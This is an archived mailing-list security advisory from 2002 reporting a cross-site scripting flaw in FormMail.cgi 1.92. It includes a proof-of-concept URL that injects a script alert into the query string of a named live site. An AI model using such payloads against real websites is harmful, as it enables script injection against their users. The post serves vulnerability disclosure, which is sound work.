XSS (Cross Site Scripting) on FormMail.CGI

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



#############################################################
 
 Topic:        XSS (Cross Site Scripting) on FormMail.CGI  
 Version:      1.92                                        
 Released:     April 21, 2002                              
 Manufacturer: http://www.scriptarchive.com/formmail.html  
 
 By XyborG - xyborg@bigfoot.com - http://www.rzweb.com.ar/
 
#############################################################
 

Formmai.cgi, it is a utility that serves to send forms by email, among other
uses.
 
The operation is simple.  To see example:


http://www.l-c-u.com.ar/cgi-sys/FormMail.cgi?<script>alert("<center>Sorry,this\nis\nthe\nsecurity\nsite?\nNo_lo_Creo\n\nCyervo_Lamos...");</script>
 
Duh!

#############################################################
 
 Topic:        XSS (Cross Site Scripting) on FormMail.CGI  
 Version:      1.92                                        
 Released:     April 21, 2002                              
 Manufacturer: http://www.scriptarchive.com/formmail.html  
 
 By XyborG - xyborg@bigfoot.com - http://www.rzweb.com.ar/
 
#############################################################

-- 
XyBØrG
WebMaster de:
www.RZW.com.ar
Powered By Dattatec.Com

+++ GMX - Mail, Messaging & more  http://www.gmx.net +++
NEU: Mit GMX ins Internet. Rund um die Uhr für 1 ct/ Min. surfen!


[Index of Archives]     [Linux Security]     [Netfilter]     [PHP]     [Yosemite News]     [Linux Kernel]

  Powered by Linux